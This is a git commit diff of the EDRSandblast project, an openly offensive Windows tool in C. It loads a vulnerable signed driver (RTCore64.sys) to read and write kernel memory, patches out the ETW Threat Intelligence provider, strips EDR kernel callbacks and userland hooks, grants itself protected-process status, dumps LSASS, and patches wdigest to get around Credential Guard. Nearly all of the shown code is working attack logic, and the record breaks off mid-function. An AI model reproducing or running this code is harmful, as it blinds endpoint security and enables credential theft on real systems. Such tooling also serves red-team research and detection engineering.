Initial commit for public version

Co-authored-by: Thomas Diot <thomas.diot@wavestone.com>
This commit is contained in:
Maxime Meignan
2021-11-08 09:54:05 +01:00
commit 4bff81986b
42 changed files with 8490 additions and 0 deletions
+356
View File
@@ -0,0 +1,356 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
# User-specific files
*.rsuser
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Mono auto generated files
mono_crash.*
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
[Aa][Rr][Mm]/
[Aa][Rr][Mm]64/
bld/
[Bb]in/
[Oo]bj/
[Ll]og/
[Ll]ogs/
# Visual Studio 2015/2017 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# Visual Studio 2017 auto generated files
Generated\ Files/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUnit
*.VisualState.xml
TestResult.xml
nunit-*.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# Benchmark Results
BenchmarkDotNet.Artifacts/
# .NET Core
project.lock.json
project.fragment.lock.json
artifacts/
# StyleCop
StyleCopReport.xml
# Files built by Visual Studio
*_i.c
*_p.c
*_h.h
*.ilk
*.meta
*.obj
*.iobj
*.pch
*.pdb
*.ipdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*_wpftmp.csproj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# Visual Studio Trace Files
*.e2e
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# AxoCover is a Code Coverage Tool
.axoCover/*
!.axoCover/settings.json
# Visual Studio code coverage results
*.coverage
*.coveragexml
# NCrunch
_NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# Note: Comment the next line if you want to checkin your web deploy settings,
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# NuGet Symbol Packages
*.snupkg
# The packages folder can be ignored because of Package Restore
**/[Pp]ackages/*
# except build/, which is used as an MSBuild target.
!**/[Pp]ackages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/[Pp]ackages/repositories.config
# NuGet v3's project.json files produces more ignorable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
*.appx
*.appxbundle
*.appxupload
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!?*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
orleans.codegen.cs
# Including strong name files can present a security risk
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
#*.snk
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
ServiceFabricBackup/
*.rptproj.bak
# SQL Server files
*.mdf
*.ldf
*.ndf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
*.rptproj.rsuser
*- [Bb]ackup.rdl
*- [Bb]ackup ([0-9]).rdl
*- [Bb]ackup ([0-9][0-9]).rdl
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
node_modules/
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
*.vbw
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
.paket/paket.exe
paket-files/
# FAKE - F# Make
.fake/
# CodeRush personal settings
.cr/personal
# Python Tools for Visual Studio (PTVS)
__pycache__/
*.pyc
# Cake - Uncomment if you are using it
# tools/**
# !tools/packages.config
# Tabs Studio
*.tss
# Telerik's JustMock configuration file
*.jmconfig
# BizTalk build output
*.btp.cs
*.btm.cs
*.odx.cs
*.xsd.cs
# OpenCover UI analysis results
OpenCover/
# Azure Stream Analytics local run output
ASALocalRun/
# MSBuild Binary and Structured Log
*.binlog
# NVidia Nsight GPU debugger configuration file
*.nvuser
# MFractors (Xamarin productivity tool) working folder
.mfractor/
# Local History for Visual Studio
.localhistory/
# BeatPulse healthcheck temp database
healthchecksdb
# Backup folder for Package Reference Convert tool in Visual Studio 2017
MigrationBackup/
# Ionide (cross platform F# VS Code tools) working folder
.ionide/
# Exclude downloaded kernels
Offsets/*.exe
Offsets/*.dll
/Offsets/nt
/Offsets/wd
+31
View File
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31129.286
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast", "EDRSandblast\EDRSandblast.vcxproj", "{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Debug|x64.ActiveCfg = Debug|x64
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Debug|x64.Build.0 = Debug|x64
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Debug|x86.ActiveCfg = Debug|Win32
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Debug|x86.Build.0 = Debug|Win32
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x64.ActiveCfg = Release|x64
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x64.Build.0 = Release|x64
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x86.ActiveCfg = Release|Win32
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {01A85934-E9FB-4355-846F-667848B78EAF}
EndGlobalSection
EndGlobal
+84
View File
@@ -0,0 +1,84 @@
/*
--- ETW Threat Intelligence operations.
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
*/
#include "ETWThreatIntel.h"
DWORD64 GetEtwThreatIntProvRegHandleAddress() {
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0) {
return 0x0;
}
DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress();
return Ntoskrnlbaseaddress + ntoskrnlOffsets.st.etwThreatIntProvRegHandle;
}
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose) {
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0 || ntoskrnlOffsets.st.etwRegEntry_GuidEntry == 0x0 || ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo == 0x0) {
_tprintf(TEXT("[!] ETW Threat Intel ProviderEnableInfo address could not be found. This version of ntoskrnl may not implement ETW Threat Intel.\n"));
return 0x0;
}
HANDLE Device = GetDriverHandle();
DWORD64 etwThreatIntProvRegHandleAddress = GetEtwThreatIntProvRegHandleAddress();
DWORD64 etwThreatInt_ETW_REG_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatIntProvRegHandleAddress);
if (verbose) {
_tprintf(TEXT("[+] Found ETW Threat Intel provider _ETW_REG_ENTRY at 0x%I64x\n"), etwThreatInt_ETW_REG_ENTRYAddress);
}
DWORD64 etwThreatInt_ETW_GUID_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatInt_ETW_REG_ENTRYAddress + ntoskrnlOffsets.st.etwRegEntry_GuidEntry);
CloseHandle(Device);
return etwThreatInt_ETW_GUID_ENTRYAddress + ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo;
}
void EnableDisableETWThreatIntelProvider(BOOL verbose, BOOL enable) {
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
return;
}
_tprintf(TEXT("[*] Attempting to %s the ETW Threat Intel provider by patching ProviderEnableInfo at 0x%I64x with 0x%02X.\n"),
enable ? TEXT("(re)enable") : TEXT("disable"), etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
HANDLE Device = GetDriverHandle();
WriteMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
BOOL finalState = isETWThreatIntelProviderEnabled(verbose);
if (finalState == enable) {
_tprintf(TEXT("[+] The ETW Threat Intel provider was successfully %s!\n"), enable ? TEXT("enabled") : TEXT("disabled"));
}
else {
_tprintf(TEXT("[!] Failed to %s the ETW Threat Intel provider!\n"), enable ? TEXT("enable") : TEXT("disable"));
}
CloseHandle(Device);
}
void DisableETWThreatIntelProvider(BOOL verbose) {
EnableDisableETWThreatIntelProvider(verbose, FALSE);
}
void EnableETWThreatIntelProvider(BOOL verbose) {
EnableDisableETWThreatIntelProvider(verbose, TRUE);
}
BOOL isETWThreatIntelProviderEnabled(BOOL verbose) {
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
return FALSE;
}
HANDLE Device = GetDriverHandle();
BYTE etwThreatInt_ProviderEnableInfoValue = ReadMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress);
CloseHandle(Device);
return etwThreatInt_ProviderEnableInfoValue == ENABLE_PROVIDER;
}
File diff suppressed because it is too large Load Diff
+34
View File
@@ -0,0 +1,34 @@
#pragma once
#include <Windows.h>
#include <aclapi.h>
#include <stdio.h>
#include <Dbghelp.h>
#include <stdlib.h>
#include <Psapi.h>
#include <Tchar.h>
#include <tlhelp32.h>
#include <malloc.h>
#include <assert.h>
#include "CredGuard.h"
#include "DriverOps.h"
#include "ETWThreatIntel.h"
#include "FileVersion.h"
#include "KernelCallbacks.h"
#include "KernelMemoryPrimitives.h"
#include "KernelPatternSearch.h"
#include "LSASSDump.h"
#include "NtoskrnlOffsets.h"
#include "RunAsPPL.h"
#include "WdigestOffsets.h"
#include "UserlandHooks.h"
#define SERVICE_NAME_LENGTH 8
typedef enum _START_MODE {
dump,
cmd,
credguard,
audit
} START_MODE;
+515
View File
@@ -0,0 +1,515 @@
#include "EDRSandBlast.h"
/*
--- Execution entry point.
*/
static TCHAR* randString(TCHAR* str, size_t size)
{
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
if (size) {
--size;
for (size_t n = 0; n < size; n++) {
int key = rand() % (int)(sizeof charset - 1);
str[n] = charset[key];
}
str[size] = '\0';
}
return str;
}
const TCHAR *gVulnDriverServiceName = TEXT("RTCore64");
// TCHAR* gVulnDriverServiceName;
int _tmain(int argc, TCHAR** argv) {
// Parse command line arguments and initialize variables to default values if needed.
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard> [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [-o | --dump-output <DUMP_FILE>]");
const TCHAR extendedUsage[] = TEXT("\n\
-h | --help Show this help message and exit.\n\
-v | --verbose Enable a more verbose output.\n\
\n\
Actions mode:\n\
\n\
\taudit Display the user-land hooks and / or Kernel callbacks with out taking actions.\n\
\tdump Dump the LSASS process, by default as 'lsass' in the current directory or at the\n\
\t specified file using -o | --output <DUMP_FILE>.\n\
\tcmd Open a cmd.exe prompt.\n\
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
\t Credential Guard is enabled on the host. No kernel-lank actions required.\n\
\n\
--usermode Perform user-land operations (DLL unhooking).\n\
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
\n\
--unhook-method <N>\n Choose the userland un-hooking technique, from the following: \n\
\n\
\t1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all\n\
\t present userland hooks.\n\
\t2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by\n\
\t allocating an executable trampoline jumping over the hook, and remove all present\n\
\t userland hooks.\n\
\t3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'\n\
\t (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland\n\
\t hooks.\n\
\t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\
\t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\
\t present userland hooks.\n\
\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\
\t and uses it to remove all detected hooks\n\
\n\
Other options:\n\
\n\
--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host\n\
Default to automatically unsinstall the driver.\n\
--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.\n\
Default to restore the callbacks.\n\
\n\
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
Default to 'RTCore64.sys' in the current directory.\n\
\n\
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
(only for the 'credguard' mode).\n\
Default to 'WdigestOffsets.csv' in the current directory.\n\
\n\
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.\n\
Default to 'lsass' in the current directory.\n");
BOOL status;
TCHAR currentFolderPath[MAX_PATH] = { 0 };
GetCurrentDirectory(_countof(currentFolderPath), currentFolderPath);
if (argc < 2) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
START_MODE startMode;
if (_tcsicmp(argv[1], TEXT("dump")) == 0) { startMode = dump; }
else if (_tcsicmp(argv[1], TEXT("cmd")) == 0) { startMode = cmd; }
else if (_tcsicmp(argv[1], TEXT("credguard")) == 0) { startMode = credguard; }
else if (_tcsicmp(argv[1], TEXT("audit")) == 0) { startMode = audit; }
else if (_tcsicmp(argv[1], TEXT("-h")) == 0 || _tcsicmp(argv[1], TEXT("--help")) == 0) {
_tprintf(TEXT("%s\n"), usage);
_tprintf(TEXT("%s\n"), extendedUsage);
return EXIT_SUCCESS;
}
else {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
TCHAR driverPath[MAX_PATH * 2] = { 0 };
TCHAR driverDefaultName[] = TEXT("RTCore64.sys");
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH * 2] = { 0 };
TCHAR wdigestOffsetCSVPath[MAX_PATH * 2] = { 0 };
TCHAR outputPath[MAX_PATH * 2] = { 0 };
BOOL verbose = FALSE;
BOOL removeVulnDriver = TRUE;
BOOL restoreCallbacks = TRUE;
BOOL userMode = FALSE;
enum unhook_method_e unhook_method = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY;
BOOL kernelMode = FALSE;
int lpExitCode = EXIT_SUCCESS;
struct FOUND_EDR_CALLBACKS* checkEDRDrivers = NULL;
struct FOUND_EDR_CALLBACKS* removedEDRDrivers = NULL;
BOOL ETWTIState = FALSE;
hook* hooks = NULL;
/*
gVulnDriverServiceName = calloc(SERVICE_NAME_LENGTH, sizeof(TCHAR));
randString(gVulnDriverServiceName, SERVICE_NAME_LENGTH);
*/
for (int i = 2; i < argc; i++) {
if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
_tprintf(TEXT("%s\n"), usage);
_tprintf(TEXT("%s\n"), extendedUsage);
return EXIT_SUCCESS;
}
else if (_tcsicmp(argv[i], TEXT("-v")) == 0 || _tcsicmp(argv[i], TEXT("--verbose")) == 0) {
verbose = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--usermode")) == 0) {
userMode = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--kernelmode")) == 0) {
kernelMode = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--dont-unload-driver")) == 0) {
removeVulnDriver = FALSE;
}
else if (_tcsicmp(argv[i], TEXT("--dont-restore-callbacks")) == 0) {
restoreCallbacks = FALSE;
}
else if (_tcsicmp(argv[i], TEXT("--driver")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("-o")) == 0 || _tcsicmp(argv[i], TEXT("--dump-output")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(outputPath, _countof(outputPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--unhook-method")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
unhook_method = _ttoi(argv[i]);
}
else {
_tprintf(TEXT("%s"), usage);
return 1;
}
}
// Command line option consistency checks
if (startMode == cmd && !kernelMode) {
_tprintf(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode\n"));
return EXIT_FAILURE;
}
if (!userMode && !kernelMode) {
_tprintf(TEXT("[!] You did not provide at least one option between --usermode and --kernelmode. Enabling --usermode by default...\n"));
userMode = TRUE;
}
if (startMode == credguard && !kernelMode) {
_tprintf(TEXT("[!] Credential Guard bypass might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
}
if (startMode == dump && !kernelMode) {
_tprintf(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
}
BOOL isSafeToExecutePayload = TRUE;
if (kernelMode) {
if (_tcslen(driverPath) == 0) {
TCHAR separator[] = TEXT("\\");
_tcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator));
_tcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName));
}
DWORD driverAttrib = GetFileAttributes(driverPath);
if (driverAttrib == INVALID_FILE_ATTRIBUTES || (driverAttrib & FILE_ATTRIBUTE_DIRECTORY)) {
_tprintf(TEXT("[!] Required driver file not present at %s\nExiting...\n"), driverPath);
return EXIT_FAILURE;
}
if (_tcslen(ntoskrnlOffsetCSVPath) == 0) {
TCHAR offsetCSVName[] = TEXT("\\NtoskrnlOffsets.csv");
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
}
// Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
_tprintf(TEXT("Loading Notify Routines' offsets from the CSV file\n"));
ntoskrnlOffsets = GetNtoskrnlVersionOffsets(ntoskrnlOffsetCSVPath);
if (ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspLoadImageNotifyRoutine == 0x0) {
_tprintf(TEXT("[!] No known offsets for the version of ntoskrnl in use. The offsets must be computed and added to the offsets CSV file\n"));
return EXIT_FAILURE;
}
_tprintf(TEXT("\n\n"));
// Install the vulnerable driver to have read / write in Kernel memory.
_tprintf(TEXT("Installing vulnerable MSI Afterburner driver...\n"));
status = InstallVulnerableDriver(driverPath);
if (status != TRUE) {
_tprintf(TEXT("[!] An error occurred while installing the vulnerable MSI Afterburner driver\n"));
_tprintf(TEXT("[*] Uninstalling the service and attempting the install again...\n"));
Sleep(2000);
status = UninstallVulnerableDriver();
Sleep(2000);
status = status && InstallVulnerableDriver(driverPath);
Sleep(2000);
if (status != TRUE) {
_tprintf(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the MSI Afterburner driver left...\n"));
return EXIT_FAILURE;
}
}
_tprintf(TEXT("\n\n"));
Sleep(5000);
// Checks if any EDR callbacks are configured. If no EDR callbacks are found, then dump LSASS / exec cmd / patch CredGuard. Ohterwise, remove the EDR callbacks and start a new (unmonitored) process executing itself to dump LSASS.
_tprintf(TEXT("Checking if any EDR Kernel callbacks are configured...\n"));
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!checkEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
return EXIT_FAILURE;
}
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
if (checkEDRDrivers->index) {
isSafeToExecutePayload = FALSE;
}
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
_tprintf(TEXT("[+] ETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
_tprintf(TEXT("\n\n"));
if (ETWTIState) {
isSafeToExecutePayload = FALSE;
}
}
if (userMode) {
_tprintf(TEXT("Loaded DLLs in current process:\n"));
hooks = searchHooks(NULL);
_tprintf(TEXT("\n\n"));
}
if (startMode != audit) {
if (userMode) {
for (hook* ptr = hooks; ptr->disk_function != NULL; ptr++) {
printf("Unhooking %s using method %ld ...\n", ptr->functionName, unhook_method);
unhook(ptr, unhook_method);
}
}
if (isSafeToExecutePayload) {
_tprintf(TEXT("[+] Process is \"safe\" to launch our payload\n"));
// Do the operation the tool was started for.
switch (startMode) {
// Start a process executing cmd.exe.
case cmd:
_tprintf(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n")
TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n")
TEXT("WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!\n\n"));
// Find cmd.exe path.
TCHAR systemDirectory[MAX_PATH * 2] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
TCHAR cmdPath[MAX_PATH * 2] = { 0 };
_tcscat_s(cmdPath, _countof(cmdPath), systemDirectory);
_tcscat_s(cmdPath, _countof(cmdPath), TEXT("\\cmd.exe"));
_tsystem(cmdPath);
break;
// Dump the LSASS process in a new thread.
case dump:
if (kernelMode) {
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS (offset of _PS_PROTECTION exists). This will allow access to LSASS if RunAsPPL is enabled\n"));
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
SetCurrentProcessAsProtected(verbose);
}
}
if (_tcslen(outputPath) == 0) {
TCHAR outputName[] = TEXT("\\lsass");
_tcsncat_s(outputPath, _countof(outputPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(outputPath, _countof(outputPath), outputName, _countof(outputName));
}
_tprintf(TEXT("[+] Attempting to dump LSASS\n"));
HANDLE hThread = CreateThread(NULL, 0, dumpLSASSProcess, outputPath, 0, NULL);
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, (PDWORD)&lpExitCode);
if (lpExitCode != 0) {
_tprintf(TEXT("[!] A fatal error occurred during the LSASS dump / execution of cmd.exe\n"));
lpExitCode = EXIT_FAILURE;
}
}
else {
_tprintf(TEXT("[!] An error occurred while attempting to start the new thread...\n"));
lpExitCode = EXIT_FAILURE;
}
break;
// Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory.
case credguard:
if (kernelMode) {
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS(Offset of _PS_PROTECTION exists). This will allow lsass access is RunAsPPL is enabled\n"));
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
SetCurrentProcessAsProtected(verbose);
}
}
if (_tcslen(wdigestOffsetCSVPath) == 0) {
TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv");
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
}
wdigestOffsets = GetWdigestVersionOffsets(wdigestOffsetCSVPath);
if (wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
_tprintf(TEXT("[!] No known offsets for the version of wdigest.dll in use, Windows Credential Guard will not be bypassed. The required offsets must be computed and added to the offsets CSV file.\n"));
lpExitCode = EXIT_FAILURE;
}
else {
_tprintf(TEXT("\n\n"));
if (disableCredGuardByPatchingLSASS()) {
_tprintf(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system.\n"));
}
else {
_tprintf(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed.\n"));
lpExitCode = EXIT_FAILURE;
}
}
break;
}
_tprintf(TEXT("\n\n"));
}
else {
_tprintf(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and start another process...\n"));
#ifdef _DEBUG
assert(kernelMode);
#endif
/*
* 1/3 : Removing kernel-based monitoring.
*/
// Disable (temporarily) ETW Threat Intel functions by patching the ETW Threat Intel provider ProviderEnableInfo.
if (ETWTIState) {
DisableETWThreatIntelProvider(verbose);
}
// If kernel callbacks are monitoring processes, we remove them and start a new process.
if (checkEDRDrivers && checkEDRDrivers->index != 0) {
_tprintf(TEXT("EDR driver(s) found in Kernel callbacks, attempting to remove them...\n"));
// Removes EDR drivers callbacks for process / threads creation and image loading.
removedEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!removedEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to remove the drivers in Kernel callbacks\n"));
return EXIT_FAILURE;
}
_tprintf(TEXT("--- Removing EDR driver(s) in process creation Kernel callbacks...\n"));
RemoveEDRProcessNotifyCallbacks(removedEDRDrivers, verbose);
_tprintf(TEXT("--- Removing EDR driver(s) in threads creation Kernel callbacks...\n"));
RemoveEDRThreadNotifyCallbacks(removedEDRDrivers, verbose);
_tprintf(TEXT("--- Removing EDR driver(s) in image loading Kernel callbacks...\n"));
RemoveEDRImageNotifyCallbacks(removedEDRDrivers, verbose);
_tprintf(TEXT("\n\n"));
// Checks that EDR drivers were indeed removed and if so, go on with the payload.
_tprintf(TEXT("Checking that all EDR driver(s) were successfully removed from Kernel callbacks...\n"));
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!checkEDRDrivers) {
